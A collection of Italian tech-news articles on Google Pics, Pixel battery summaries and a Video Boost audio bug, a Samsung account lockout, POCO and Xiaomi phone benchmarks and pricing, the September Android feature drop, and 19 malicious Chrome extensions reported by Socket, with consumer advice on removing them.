Google ha lanciato il 1° settembre un nuovo servizio dedicato alla generazione e modifica di immagini tramite intelligenza artificiale, chiamato Google Pics. Distinto da Google Foto e da Google Images, il nuovo strumento permette non solo di creare immagini da zero, ma anche di intervenire con precisione su foto già esistenti. Editing diretto da Google Workspace Google Pics sfrutta l'IA per combinare diverse funzioni di editing, permettendo di modificare solo le parti necessarie di […]
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Google ha lanciato il 1° settembre un nuovo servizio dedicato alla generazione e modifica di immagini tramite intelligenza artificiale, chiamato Google Pics. Distinto da Google Foto e da Google Images, il nuovo strumento permette non solo di creare immagini da zero, ma anche di intervenire con precisione su foto già esistenti.

Editing diretto da Google Workspace


Google Pics sfrutta l’IA per combinare diverse funzioni di editing, permettendo di modificare solo le parti necessarie di un’immagine invece di doverla ricreare interamente. Il servizio è utilizzabile in modo autonomo, ma la novità più rilevante è l’integrazione con Google Workspace: da subito è possibile generare e modificare immagini direttamente all’interno di Google Docs e Google Slides, senza uscire dal documento su cui si sta lavorando.

Nelle prossime settimane l’integrazione arriverà anche su Google Drive, ampliando progressivamente il raggio d’azione del nuovo strumento.

Un servizio separato da Gemini, basato su Nano Banana


Alla base di Google Pics c’è la tecnologia di generazione di immagini Nano Banana, sviluppata da Google, anche se al momento non è chiaro quale versione sia effettivamente impiegata. Resta poi da capire perché Google abbia scelto di lanciare un servizio indipendente invece di integrare queste funzioni direttamente in Gemini: l’azienda non ha fornito spiegazioni ufficiali in merito, ma è probabile che l’obiettivo sia permettere agli utenti di modificare immagini senza dover cambiare applicazione mentre lavorano su documenti o presentazioni.

Disponibilità limitata, per ora


Google Pics non è ancora accessibile a tutti gli utenti. Il servizio è riservato agli abbonati a Google AI Pro e Google AI Ultra, oltre alla maggior parte degli utenti aziendali di Google Workspace: non si tratta quindi, almeno per ora, di uno strumento gratuito aperto al grande pubblico. Anche il rilascio segue una logica graduale, con l’integrazione in Docs e Slides partita dal 1° settembre e quella su Drive prevista entro le prossime settimane.

Google continua così a integrare l’intelligenza artificiale generativa non solo nella ricerca e sugli smartphone, ma anche negli strumenti di produttività quotidiana: resta da vedere quanto Google Pics cambierà il modo in cui si creano e modificano immagini all’interno dell’ecosistema Workspace.

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Account Samsung disattivati senza preavviso: utenti Galaxy bloccati fuori per “motivi di sicurezza”


Diversi utenti Galaxy stanno segnalando un problema che impedisce loro di accedere al proprio account Samsung. Al momento del login compare un messaggio che indica l'account come disattivato "per motivi di sicurezza", e nelle ultime ore le segnalazioni simili si sono moltiplicate su Reddit e sui forum ufficiali della community Samsung. Un blocco che coinvolge anche SmartThings e Samsung Wallet Il problema è emerso principalmente su Reddit e sui forum della community Samsung, dove numerosi […]
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Diversi utenti Galaxy stanno segnalando un problema che impedisce loro di accedere al proprio account Samsung. Al momento del login compare un messaggio che indica l’account come disattivato “per motivi di sicurezza”, e nelle ultime ore le segnalazioni simili si sono moltiplicate su Reddit e sui forum ufficiali della community Samsung.

Un blocco che coinvolge anche SmartThings e Samsung Wallet


Il problema è emerso principalmente su Reddit e sui forum della community Samsung, dove numerosi utenti raccontano di essersi trovati improvvisamente esclusi dal proprio account senza alcun preavviso. Poiché l’account Samsung è il collante che tiene insieme diversi servizi dell’ecosistema Galaxy, le conseguenze vanno oltre il semplice login: chi utilizza regolarmente SmartThings per la casa intelligente, Samsung Wallet per i pagamenti o la funzione Find per localizzare i propri dispositivi si trova improvvisamente tagliato fuori da funzioni che utilizza quotidianamente.

Un possibile indizio nelle email con alias


La causa esatta del problema non è ancora nota. Alcune segnalazioni indicano un possibile collegamento con l’uso di indirizzi email con alias, una pratica comune su Gmail che permette di aggiungere un “+” o variare la posizione dei punti nell’indirizzo mantenendo la stessa casella di posta come destinazione finale.

Secondo alcune testimonianze, anche il supporto Samsung avrebbe fatto riferimento a questo aspetto, e diversi utenti colpiti utilizzavano effettivamente email con alias per il proprio account. Il quadro però non è così netto: anche utenti che non utilizzano alias hanno riportato lo stesso problema, per cui questa ipotesi resta solo una delle possibili cause al momento sotto esame.

Alcuni casi risolti tramite il supporto Samsung


Alcuni utenti sono già riusciti a recuperare l’accesso al proprio account contattando direttamente il supporto Samsung, anche se non tutti i casi si sono risolti allo stesso modo. Samsung non ha ancora fornito una spiegazione ufficiale del problema, e le indicazioni fornite finora si limitano a suggerimenti generici di risoluzione dei problemi.

Non è chiaro se si tratti di un errore di sistema o di una funzione di sicurezza che sta disattivando gli account per errore. In attesa di chiarimenti ufficiali, agli utenti che dovessero riscontrare lo stesso problema conviene rivolgersi direttamente al supporto Samsung piuttosto che tentare di ricreare l’account autonomamente.

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I Pixel spiegano il consumo della batteria con l’IA: arrivano i riepiloghi intelligenti


Google ha introdotto sui Pixel una nuova funzione, chiamata Battery Usage Summaries, che rende molto più semplice capire perché la batteria si sta scaricando più velocemente del solito. Un'intelligenza artificiale analizza i dati sul consumo energetico e individua in modo chiaro quali app o processi in background stanno pesando di più sull'autonomia. Un riepilogo generato dall'IA al posto dei grafici da analizzare Fino ad oggi, anche sui Pixel era possibile consultare il consumo per […]
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Google ha introdotto sui Pixel una nuova funzione, chiamata Battery Usage Summaries, che rende molto più semplice capire perché la batteria si sta scaricando più velocemente del solito. Un’intelligenza artificiale analizza i dati sul consumo energetico e individua in modo chiaro quali app o processi in background stanno pesando di più sull’autonomia.

Un riepilogo generato dall’IA al posto dei grafici da analizzare


Fino ad oggi, anche sui Pixel era possibile consultare il consumo per singola app e le attività in background, ma i dati erano numerosi e capire da soli il motivo di un calo improvviso di autonomia richiedeva tempo. Con Battery Usage Summaries, un riepilogo compare direttamente nella parte alta della schermata dedicata alla batteria.

Se ad esempio il telefono ha consumato circa il 15% di batteria entro una certa ora, il sistema valuta se si tratta di un consumo superiore alla norma e segnala le app principalmente responsabili: in un esempio verificato, WhatsApp e i servizi Google risultavano le cause principali. La funzione non si limita quindi a elencare le app che consumano di più, ma confronta l’uso attuale con le abitudini recenti, evidenziando situazioni anomale.

Elaborazione sul dispositivo grazie a Gemini Nano


La funzione era in sviluppo da tempo, e le analisi interne avevano già rivelato che i riepiloghi vengono generati tramite Gemini Nano. L’elaborazione avviene direttamente sul dispositivo, senza inviare i dati sul consumo della batteria al cloud: un aspetto che coniuga l’utilità dell’intelligenza artificiale con l’attenzione alla privacy.

Google ha aggiornato anche le pagine di supporto ufficiali per descrivere la funzione, spiegando che individua le app che consumano di più, monitora l’attività in background e confronta il consumo complessivo e per singola app con la media recente.

Disponibile su Pixel 10 e successivi, in distribuzione graduale


Battery Usage Summaries è riservata ai modelli Pixel 10 e successivi e richiede l’ultima versione di AI Core per funzionare; sui dispositivi compatibili si attiva automaticamente quando disponibile. La distribuzione è graduale, quindi anche chi possiede un Pixel 10 o più recente potrebbe non vederla comparire immediatamente.

Quando la batteria si consuma più velocemente del previsto, individuare la causa richiedeva finora di controllare manualmente grafici e statistiche app per app. Con questa novità, sarà l’intelligenza artificiale a fare il lavoro di analisi, risultando particolarmente utile per scovare app che continuano a girare in background senza che l’utente se ne accorga.

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POCO F9 Ultra, benchmark deludenti: il single-core è più basso persino di Xperia 1 VIII


Il POCO F9 Ultra, lo smartphone Xiaomi arrivato sul mercato giapponese il 1° settembre con a bordo il potente Snapdragon 8 Elite Gen 5, sta facendo discutere per un motivo inaspettato: le prestazioni single-core misurate su Geekbench 7 risultano sorprendentemente basse, addirittura inferiori a quelle già considerate deludenti dello Xperia 1 VIII di Sony. Il confronto tra i due chip identici Analizzando un campione di 50 test Geekbench 7 per ciascun modello, sono stati calcolati sia la […]
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Il POCO F9 Ultra, lo smartphone Xiaomi arrivato sul mercato giapponese il 1° settembre con a bordo il potente Snapdragon 8 Elite Gen 5, sta facendo discutere per un motivo inaspettato: le prestazioni single-core misurate su Geekbench 7 risultano sorprendentemente basse, addirittura inferiori a quelle già considerate deludenti dello Xperia 1 VIII di Sony.

Il confronto tra i due chip identici


Analizzando un campione di 50 test Geekbench 7 per ciascun modello, sono stati calcolati sia la media sia la mediana dei punteggi, così da escludere le variazioni dovute a picchi temporanei o al surriscaldamento. Sul fronte multi-core, i due smartphone risultano sostanzialmente alla pari, con una mediana intorno agli 8.800 punti per entrambi. La differenza netta emerge invece sul single-core: la mediana dello Xperia 1 VIII si ferma a 2.727 punti, un valore già considerato basso per un flagship con Snapdragon 8 Elite Gen 5, ma quella del POCO F9 Ultra scende ancora più in basso, fermandosi a soli 2.043 punti.

Un limite che sembra software, non hardware


Il divario tra i due modelli sul single-core supera i 700 punti, un risultato anomalo considerando che montano lo stesso processore. Il picco massimo registrato dal POCO F9 Ultra in alcuni test ha comunque raggiunto i 3.089 punti, a dimostrazione che il chip non è limitato per motivi hardware: nella maggior parte delle misurazioni, però, le prestazioni single-core risultano fortemente contenute.

Le ipotesi più probabili riguardano un bug nella gestione dello scheduling del firmware iniziale oppure un profilo energetico particolarmente conservativo, impostato di default per privilegiare l’autonomia e contenere il calore a scapito della reattività. Il potenziale dello Snapdragon 8 Elite Gen 5 sembra quindi non essere ancora sfruttato appieno su questo modello.

Resta da vedere se Xiaomi interverrà con un aggiornamento software per rimuovere questa limitazione. Chi ha già acquistato il POCO F9 Ultra farà bene a tenere d’occhio i prossimi update, che potrebbero sbloccare prestazioni single-core più in linea con quelle attese da un chip di fascia altissima.

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Chrome, scoperte 19 estensioni infette: rubavano password e criptovalute


Sono 19 le estensioni per Google Chrome che sono risultate infette da malware in grado di sottrarre credenziali, dati personali e persino fondi da wallet di criptovalute. Le estensioni incriminate sono già state rimosse dal Chrome Web Store, ma chi le aveva installate in passato deve prestare attenzione. Codice malevolo scoperto da una società di sicurezza Il problema è stato reso noto dalla società di sicurezza Socket in un rapporto pubblicato il 27 agosto. Le 19 estensioni coinvolte […]
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Sono 19 le estensioni per Google Chrome che sono risultate infette da malware in grado di sottrarre credenziali, dati personali e persino fondi da wallet di criptovalute. Le estensioni incriminate sono già state rimosse dal Chrome Web Store, ma chi le aveva installate in passato deve prestare attenzione.

Codice malevolo scoperto da una società di sicurezza


Il problema è stato reso noto dalla società di sicurezza Socket in un rapporto pubblicato il 27 agosto. Le 19 estensioni coinvolte erano in grado di raccogliere credenziali inserite sui siti web, dati personali e persino la cronologia di navigazione. Alcune riuscivano anche a colpire i wallet di criptovalute basati su Solana, Tron e reti compatibili EVM, sottraendo gli asset conservati al loro interno, oltre a raccogliere informazioni da account Facebook e LinkedIn.

  • Enable Right Click & Copy — Smart Unlock + OCR
  • RapidLens – Google Lens for Screen Search & Images
  • QuickLens – Search Screen with Google Lens
  • Password Protect PDF
  • Allow Copy – Select & Enable Right Click
  • PixelCheck
  • Private Crypto News Reader
  • Crypto Alerter: Price Alarms & Volatility Warnings
  • LedgerLook: Wallet Checker
  • e altre 10 estensioni dedicate a criptovalute e analisi del traffico web

Cinque di queste estensioni — Enable Right Click & Copy, RapidLens, QuickLens, Password Protect PDF e Allow Copy — erano originariamente sviluppate da autori legittimi, ma sarebbero state acquistate in un secondo momento da attori malevoli che vi hanno inserito codice dannoso. Le restanti risultano invece create appositamente per colpire dati personali e criptovalute.

La rimozione non basta a mettersi al sicuro


Tutte le 19 estensioni sono già state eliminate dal Chrome Web Store, ma questo non significa che chi le aveva installate in passato sia automaticamente al sicuro. Se durante il periodo di utilizzo sono state inserite password o dati sensibili su siti web, questi potrebbero essere già stati compromessi.

A chi avesse installato una di queste estensioni si consiglia di rimuoverla immediatamente e cambiare le password dei servizi utilizzati nel frattempo, prestando particolare attenzione se la stessa password viene riutilizzata su più siti. Chi possiede un wallet di criptovalute dovrebbe inoltre verificarne lo stato.

Il caso dimostra come anche un’estensione realizzata da uno sviluppatore affidabile possa trasformarsi in una minaccia se acquisita da terzi malintenzionati: essere disponibili sul Chrome Web Store non garantisce quindi una sicurezza permanente, ed è sempre consigliabile verificare necessità e affidabilità di uno sviluppatore prima di installare nuove estensioni.

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Pixel 11, video con rumore audio: Google conferma il bug e promette la correzione


I Google Pixel 11, arrivati sul mercato da poco, sono al centro di una segnalazione relativa a un fastidioso rumore che compare nell'audio dei video registrati. Il problema riguarda la funzione Video Boost della fotocamera, e Google ha già confermato di aver individuato la causa, promettendo un aggiornamento correttivo entro poche settimane. Il disturbo compare con Video Boost attivo Il problema è emerso sulla funzione di ripresa video Video Boost della serie Pixel, pensata per migliorare […]
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I Google Pixel 11, arrivati sul mercato da poco, sono al centro di una segnalazione relativa a un fastidioso rumore che compare nell’audio dei video registrati. Il problema riguarda la funzione Video Boost della fotocamera, e Google ha già confermato di aver individuato la causa, promettendo un aggiornamento correttivo entro poche settimane.

Il disturbo compare con Video Boost attivo


Il problema è emerso sulla funzione di ripresa video Video Boost della serie Pixel, pensata per migliorare colore, luminosità, stabilizzazione e dettaglio nelle riprese in condizioni di scarsa luce. Su Pixel 11, però, alcuni utenti hanno registrato video con Video Boost attivo notando un rumore simile a un’interferenza elettrostatica sovrapposto all’audio.

Diverse segnalazioni indicano che il video in sé non presenta problemi, ma è la traccia audio a risultare disturbata. Alcuni ipotizzano un collegamento con la funzione Audio Zoom, che enfatizza il suono del soggetto inquadrato attenuando i rumori circostanti, ma Google non ha ancora fornito una spiegazione tecnica precisa.

Correzione software entro poche settimane


Google ha dichiarato di aver già individuato la causa del problema e di essere al lavoro su una correzione software, che sarà distribuita entro le prossime settimane tramite un aggiornamento dell’app Fotocamera.

L’azienda ha inoltre confermato che il prossimo aggiornamento mensile di Android porterà, separatamente da questa correzione, anche alcune ottimizzazioni delle prestazioni generali del dispositivo.

Trattandosi di un problema emerso a ridosso del lancio, non è ancora possibile stabilire quanto sia diffuso tra gli utenti Pixel 11, né se riguardi tutti gli esemplari o solo alcune configurazioni. Per chi utilizza spesso la funzione video, però, resta un difetto da tenere sotto osservazione in attesa della patch. Come spesso accade con i problemi software rilevati subito dopo il lancio, un aggiornamento dovrebbe risolvere la situazione: agli utenti Pixel 11 conviene tenere d’occhio i prossimi aggiornamenti dell’app Fotocamera e del sistema.

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Google avvia l’aggiornamento di settembre per Android: ecco tutte le nuove funzioni


Google ha presentato il 1° settembre il nuovo pacchetto di funzioni per Android, il September Android Feature Drop. A differenza di altri aggiornamenti pensati esclusivamente per i Pixel, questa tornata di novità riguarda l'intero ecosistema Android, con funzioni pensate per migliorare l'uso quotidiano su un'ampia gamma di smartphone. Find Hub più intelligente grazie a Gemini Tra le novità principali c'è il potenziamento di Find Hub, il servizio che permette di localizzare dispositivi […]
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Google ha presentato il 1° settembre il nuovo pacchetto di funzioni per Android, il September Android Feature Drop. A differenza di altri aggiornamenti pensati esclusivamente per i Pixel, questa tornata di novità riguarda l’intero ecosistema Android, con funzioni pensate per migliorare l’uso quotidiano su un’ampia gamma di smartphone.

Find Hub più intelligente grazie a Gemini


Tra le novità principali c’è il potenziamento di Find Hub, il servizio che permette di localizzare dispositivi e oggetti smarriti. Grazie all’integrazione con Gemini, sarà possibile registrare informazioni su dove si conservano abitualmente determinati oggetti in casa, per poi ritrovarle tramite una ricerca in linguaggio naturale all’interno dell’app: una funzione utile non solo per lo smartphone, ma per qualsiasi oggetto che si desidera tenere sotto controllo.

Arriva inoltre in via ufficiale Motion Assist, pensata per ridurre il mal d’auto quando si utilizza lo smartphone durante gli spostamenti. Una discreta bolla animata sullo schermo aiuta a regolare la percezione del movimento, rendendo più comoda la lettura di pagine web o la visione di video anche in viaggio.

Google Messaggi si arricchisce di nuove funzioni


Google Messaggi guadagna l’integrazione con Google Keep, che permette di condividere note e liste direttamente in chat e modificarle in tempo reale con tutti i partecipanti alla conversazione: comoda per gestire insieme liste della spesa o elenchi di cose da fare.

A questa si aggiunge Chat Themes, che consente di personalizzare sfondo e colore dei fumetti per ogni conversazione, rendendo l’app di messaggistica più personalizzabile.

Gemini Live vede il mondo con Guided Vision


Sul fronte dell’intelligenza artificiale, Gemini Live si arricchisce della funzione Guided Vision: condividendo l’inquadratura della fotocamera con Gemini Live, l’assistente è in grado di riconoscere visivamente ciò che ha davanti e fornire indicazioni vocali in tempo reale, ampliando ulteriormente le possibilità d’uso dell’assistente IA di Google.

Il punto di forza di questo aggiornamento è che le nuove funzioni arrivano principalmente tramite aggiornamenti delle singole app, e sono quindi disponibili anche su smartphone Android non prodotti da Google. I tempi di rilascio possono comunque variare da funzione a funzione: l’integrazione tra Google Keep e Google Messaggi, ad esempio, arriverà con un leggero ritardo rispetto alle altre novità.

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Xiaomi 17T Pro, l’aumento di prezzo che non c’è: il coupon annulla il rincaro


Il rincaro di 20.000 yen previsto dal 1° settembre per il flagship Xiaomi 17T Pro si è rivelato, nei fatti, poco più che una formalità: nel giorno stesso dell'entrata in vigore del nuovo listino, sul negozio ufficiale è ancora possibile acquistare il telefono allo stesso prezzo di prima grazie a un coupon sconto di pari importo. Il prezzo sale sul listino, ma il coupon lo riporta uguale Xiaomi aveva annunciato ad agosto una revisione dei prezzi su diversi prodotti, motivata […]
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Il rincaro di 20.000 yen previsto dal 1° settembre per il flagship Xiaomi 17T Pro si è rivelato, nei fatti, poco più che una formalità: nel giorno stesso dell’entrata in vigore del nuovo listino, sul negozio ufficiale è ancora possibile acquistare il telefono allo stesso prezzo di prima grazie a un coupon sconto di pari importo.

Il prezzo sale sul listino, ma il coupon lo riporta uguale


Xiaomi aveva annunciato ad agosto una revisione dei prezzi su diversi prodotti, motivata dall’aumento dei costi dei componenti di memoria. Per il modello 17T Pro l’azienda aveva comunicato un rincaro fisso di 20.000 yen a partire dal 1° settembre, che avrebbe portato la versione da 256GB da 119.800 a 139.800 yen e quella da 512GB da 139.800 a 159.800 yen.

Controllando lo store ufficiale nel giorno dell’entrata in vigore, il prezzo esposto risulta effettivamente aumentato come annunciato. Allo stesso tempo, però, è disponibile un coupon sconto da 20.000 yen applicabile all’acquisto: una volta utilizzato, il prezzo finale pagato dall’utente torna a coincidere esattamente con quello precedente al rincaro, sia per il modello da 256GB sia per quello da 512GB.

Il rincaro rimane sulla carta


Il risultato è che, almeno per il momento, l’aumento annunciato non si traduce in un reale incremento di spesa per chi acquista il dispositivo: il prezzo di listino è salito come previsto, ma l’effetto pratico sul portafoglio degli acquirenti risulta azzerato dal coupon.

Il vero test arriva con i POCO X8 Pro e X8 Pro Max


Resta da capire cosa succederà il 4 settembre, data in cui è previsto lo stesso tipo di rincaro anche per POCO X8 Pro e POCO X8 Pro Max, entrambi interessati da un aumento fisso di 20.000 yen: il modello X8 Pro da 8GB/256GB passerebbe da 59.980 a 79.980 yen, mentre l’X8 Pro Max da 12GB/256GB da 79.980 a 99.980 yen.

Se Xiaomi replicherà lo stesso schema visto con il 17T Pro, offrendo un coupon di pari valore, anche per questi modelli il prezzo reale resterebbe invariato. In caso contrario, si tratterebbe di un aumento effettivo. Per ora, l’unico dato certo è che il 17T Pro non è diventato più caro per chi lo acquista oggi, nonostante l’annuncio di un rincaro di 20.000 yen.

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